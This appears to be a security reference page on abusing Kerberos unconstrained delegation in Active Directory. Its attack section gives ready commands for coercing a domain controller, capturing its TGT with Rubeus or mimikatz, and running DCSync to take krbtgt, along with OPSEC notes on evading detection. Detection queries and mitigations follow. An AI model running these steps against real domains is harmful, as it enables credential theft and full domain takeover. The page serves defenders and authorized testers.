How it works
Kerberos delegation lets a service act for a user toward another service, for example a web front end that queries a database as the signed-in user. Unconstrained delegation is the oldest form. It is one bit on the service's account: TRUSTED_FOR_DELEGATION (0x80000) in userAccountControl.
When a client requests a service ticket for a service whose account has that bit, the domain controller marks the ticket as OK-AS-DELEGATE. The client then obtains a forwarded copy of its own TGT and sends it, with its session key, to the service inside the Kerberos authentication message. The service stores the TGT in its ticket cache, held by LSASS on Windows, and can present it to the domain controller to get tickets to any service in the user's name. The protocol puts no limit on which services.
A TGT with its session key is a bearer credential. Whoever can read the service host's ticket cache can use every forwarded TGT in it until it expires, without knowing any password. Local administrator or SYSTEM on the host is enough to read the cache.
The attack has two parts:
- Control a delegation account. Compromise a computer that has the bit, or obtain the key of a user account that has it.
- Get a valuable identity to authenticate to it. Either wait for an administrator to connect, or force a privileged computer to do so. Several Windows RPC interfaces let any domain user ask a remote machine to authenticate to a host of the caller's choosing; the print spooler's change notification call (the "printer bug") is the best known. The trigger itself is described on the authentication coercion page.
Coercing a domain controller to a delegation host yields the domain controller's own TGT. A domain controller's machine account holds replication rights, so the captured TGT is enough for DCSync.
Conditions that decide whether a TGT arrives:
| Authentication to the host | Result |
|---|---|
| Kerberos, host account has the delegation bit | TGT forwarded and cached on the host |
| Kerberos, no delegation bit | A service ticket for that host only |
| NTLM (for example when the target was named by IP address) | No ticket at all |
| Kerberos, but the client account is in Protected Users or marked as sensitive | No TGT forwarded |
Domain controllers have the bit by default. That is normal. The exposure is any other account with it.
User account variant
The bit can also be set on a user or service account. The attacker then needs no code execution on any server, only the account's Kerberos key. They add an SPN for a host name they control to the account, point that name at their own machine in DNS, and run a listener that decrypts incoming Kerberos authentication with the account's key and extracts the forwarded TGT.
Prerequisites
- Computer variant: local administrator or SYSTEM on a domain computer whose account has
TRUSTED_FOR_DELEGATION, other than a domain controller. - User variant: the password, NT hash or AES key of a user account with the bit, plus the ability to add an SPN to it and a DNS record for the listener.
- A victim that authenticates with Kerberos. For coercion: any domain account, network access to the victim's RPC endpoint (for the printer bug, a running Print Spooler service), and the victim must be able to resolve and reach the delegation host by name.
- A victim account that can be delegated: not in Protected Users and not marked "Account is sensitive and cannot be delegated".
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find accounts trusted for unconstrained delegation
Any domain user can run the query:
# ActiveDirectory module: every account with the 0x80000 bit (domain controllers included)
Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
-Properties sAMAccountName, objectClass, userAccountControl, servicePrincipalName |
Select-Object sAMAccountName, objectClass, userAccountControl, servicePrincipalName
# PowerView
Get-DomainComputer -Unconstrained -Properties name, useraccountcontrol, serviceprincipalname
findDelegation.py 'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10
Ignore the domain controllers. A member server commonly shows 0x81000; a user account in the list is a candidate for the user variant.
2. Watch for new TGTs on the delegation host
On the compromised server (SRV01 here), in an elevated session:
.\Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap
monitor checks for new TGTs at the given interval and prints each as a base64 ticket. Without /targetuser it shows every new TGT, which is how an operator harvests administrators who connect on their own.
3. Make the domain controller authenticate
From any host, with any domain account, call the spooler notification function on the domain controller and name the delegation host as the destination. Use the host's fully qualified name, not its IP address, so that the domain controller uses Kerberos:
printerbug.py 'corp.example.com/alice:Passw0rd!@DC01.corp.example.com' SRV01.corp.example.com
SpoolSample.exe does the same from Windows, and other coercion interfaces can replace the spooler call.
4. Extract the ticket
monitor prints the domain controller's TGT (client DC01$, service krbtgt/CORP.EXAMPLE.COM). Save it:
$b64 = '<base64 ticket from monitor>'
[IO.File]::WriteAllBytes('C:\temp\dc01.kirbi', [Convert]::FromBase64String($b64))
.\Rubeus.exe describe /ticket:C:\temp\dc01.kirbi
If the ticket was cached before monitoring started, list the logon sessions and dump it:
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
Mimikatz reads the same tickets from LSASS memory and writes them as .kirbi files:
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
5. Use the TGT
Inject the ticket into a separate logon session so the operator's own tickets are untouched:
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
.\Rubeus.exe ptt /ticket:C:\temp\dc01.kirbi /luid:0x1a2b3c
With the domain controller's identity, replicate credentials. From the session that holds the ticket:
.\mimikatz.exe "lsadump::dcsync /domain:corp.example.com /dc:DC01.corp.example.com /user:krbtgt" "exit"
Or convert the ticket and continue from Linux:
ticketConverter.py dc01.kirbi dc01.ccache
export KRB5CCNAME=$PWD/dc01.ccache
secretsdump.py -k -no-pass -just-dc-user krbtgt -dc-ip 192.0.2.10 \
'corp.example.com/DC01$@DC01.corp.example.com'
User account variant with krbrelayx
For a user account (svc-web here) with the delegation bit, whose key the attacker knows. Add an SPN for a new host name, register that name in DNS with the attacker's address, start the listener with the account's key, and coerce the domain controller to the new name:
addspn.py -u 'corp.example.com\alice' -p 'Passw0rd!' -t svc-web \
-s HOST/attacker01.corp.example.com DC01.corp.example.com
dnstool.py -u 'corp.example.com\alice' -p 'Passw0rd!' \
-r attacker01.corp.example.com -a add -t A -d 192.0.2.50 DC01.corp.example.com
krbrelayx.py -aesKey <AES256 key of svc-web> -dc-ip 192.0.2.10 -f ccache
printerbug.py 'corp.example.com/alice:Passw0rd!@DC01.corp.example.com' attacker01.corp.example.com
krbrelayx decrypts the incoming authentication, extracts the forwarded TGT and saves it as a ccache file, which is used as in step 5. Adding the SPN requires write access to the account's servicePrincipalName. Authenticated users can normally create DNS records in an AD-integrated zone.
Impact
Every identity that authenticates to the delegation host with Kerberos hands over a credential that works anywhere in the domain for the lifetime of the ticket, by default ten hours and renewable for seven days. An administrator who opens a file share on the server is compromised by doing so.
With coercion the attacker does not have to wait. A domain controller's TGT gives replication of every password hash, including krbtgt, and from there forged tickets and lasting control of the domain. A TGT from a child domain's domain controller is a Tier 0 credential for that domain; how far it reaches into other domains depends on the trusts.
OPSEC and artifacts
- Monitoring instead of dumping. Rubeus
monitor,triageanddumpread tickets through the LSA interfaces and do not open LSASS memory, so detections built on LSASS process access miss them. Mimikatzsekurlsa::ticketsdoes read LSASS memory. Both are processes running elevated on the server, visible in process creation telemetry. - One coercion call, one target. A single spooler call is quieter than a tool that tries every interface. It is still an RPC connection to the domain controller's spooler pipe, followed by an outbound SMB connection from the domain controller to a member server, and event 4624 with logon type 3 for the domain controller's machine account on that server.
- Using the ticket from another host. The captured TGT is portable. When it is used, the domain controller writes event 4769 for a domain controller account with a client address that is not a domain controller.
- A sacrificial logon session. Injecting the ticket into a new session avoids replacing the operator's own TGT. It leaves an extra process and logon session on the host.
- Replication. DCSync with the captured ticket writes event 4662 with the replication GUIDs on the domain controller, from a source that is not a domain controller.
- User variant. The SPN and DNS record are directory changes: event 5136 for
servicePrincipalNamewhere a SACL covers it, and a new DNS node object. No tool runs on any domain host. - Setting the flag. If the attacker enables delegation on a host themselves, event 4742 (or 4738 for a user) records the
userAccountControlchange. - Files.
.kirbiand.ccachefiles and base64 tickets in console output.
Detection
- Inventory first. Query the directory for the
0x80000bit and keep a list of approved delegation hosts. A new account on that list is the highest value signal. The unconstrained delegation enabled rules alert on the flag being set, and the delegation user right rules on the right needed to set it. - Tier 0 logons to delegation hosts. A 4624 type 3 on a delegation host for a domain controller machine account or a Tier 0 user. The flag is the exposure; the logon is the moment a TGT is delivered.
- Coercion. Calls to the spooler, EFS or DFS RPC interfaces of a domain controller followed by an outbound authentication from it. See the authentication coercion rules.
- A domain controller's identity used from elsewhere. Service ticket requests in which the requesting account is a domain controller but the client address is not one. This is the strongest Kerberos-side sign of a captured TGT.
- Replication from a non-DC source. The DCSync rules.
- Removed protections. An account taken out of Protected Users or with the sensitive flag cleared shortly before it authenticates to a delegation host. See the protected account safeguard rules.
// Service tickets requested as a domain controller from an address that is not a domain controller
let DomainControllers = datatable(Account:string, Address:string) [
"DC01$", "192.0.2.10",
"DC02$", "192.0.2.11"
];
let DcAccounts = DomainControllers | project Account;
let DcAddresses = DomainControllers | project Address;
SecurityEvent
| where EventID == 4769 and Status == "0x0"
| extend Requester = tostring(split(TargetUserName, "@")[0]),
Source = replace_string(IpAddress, "::ffff:", "")
| where Requester in~ (DcAccounts)
| where Source !in (DcAddresses) and Source !in ("::1", "127.0.0.1")
| project TimeGenerated, Computer, Requester, ServiceName, Source, TicketEncryptionType
A domain controller authenticating to a member server is not malicious by itself; backup and monitoring agents cause it too. The TransmittedServices field of 4769 is filled for constrained delegation only, so its absence says nothing about this attack.
Mitigation
- Remove the flag from everything except domain controllers. For each computer or user account that does not need it:
Set-ADAccountControl -Identity 'SRV01$' -TrustedForDelegation $false
- Replace it where delegation is needed. Use constrained delegation with a minimal SPN list, or resource-based constrained delegation. Both have their own risks, described on the constrained delegation and RBCD pages, but neither hands over TGTs.
- Make privileged users non-delegable. Set "Account is sensitive and cannot be delegated" on Tier 0 accounts or add them to Protected Users. The Protected Users guide covers the rollout and its compatibility limits. Do not add computer or service accounts to the group.
Set-ADAccountControl -Identity 'adm-alice' -AccountNotDelegated $true
- Block coercion of domain controllers. Disable the Print Spooler service on domain controllers and on servers that do not print, and restrict outbound SMB and RPC from domain controllers to member servers.
- Keep Tier 0 off delegation hosts. Administrators should not sign in to, or open resources on, a server that is trusted for delegation. Treat any remaining delegation host as a Tier 0 system.
- Credential Guard on clients prevents that client's credentials from being used with unconstrained delegation. See the LSA protection and Credential Guard guide. It protects the device it runs on and does not fix the server-side flag.
- Restrict who can enable delegation. The "Enable computer and user accounts to be trusted for delegation" user right on domain controllers should belong to Administrators only. The Kerberos hardening guide covers delegation settings as a whole.
- Audit. Computer and User Account Management, Kerberos Service Ticket Operations and Logon on the relevant systems, as listed in the audit policy guide.
- If a domain controller's TGT may have been captured, isolate the delegation host and treat the domain as compromised, including a double reset of krbtgt.
Detection rules for this attack
Log events to collect
FAQ
What is unconstrained delegation?
It is a Kerberos setting on a computer or service account, stored as the TRUSTED_FOR_DELEGATION bit (0x80000) of userAccountControl. When a user authenticates to a service on such an account, the client sends a copy of its TGT along, and the service can use it to request tickets to any other service as that user. Nothing limits where the service may go, which is why it is called unconstrained.
Why are domain controllers listed as trusted for unconstrained delegation?
It is their default: a domain controller's userAccountControl value is 0x82000, which includes the delegation bit. That is expected and should not be removed. The finding that matters is any other computer or user account with the bit set.
How does an attacker get a domain controller's TGT this way?
They take control of a member server that is trusted for unconstrained delegation, then force a domain controller to authenticate to it, for example through the print spooler's notification call. The domain controller connects with Kerberos and forwards its TGT, which the attacker reads from the server's ticket cache and uses to replicate the directory.
Do Protected Users and the 'sensitive' flag stop the attack?
They stop it for the accounts they cover. The TGT of a member of Protected Users, or of an account marked as sensitive and not to be delegated, is not forwarded to a delegation host. They do not protect computer accounts such as domain controllers, so removing the delegation flag from servers and blocking coercion are still needed.
References
- Steal or Forge Kerberos Tickets, T1558 (MITRE ATT&CK)
- Forced Authentication, T1187 (MITRE ATT&CK)
- MS-SFU protocol overview: delegation with a forwarded TGT (Microsoft Learn)
- UserAccountControl property flags (Microsoft Learn)
- Protected Users security group (Microsoft Learn)
- Rubeus: monitor, dump, ptt (GhostPack)
- krbrelayx (Dirk-jan Mollema)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.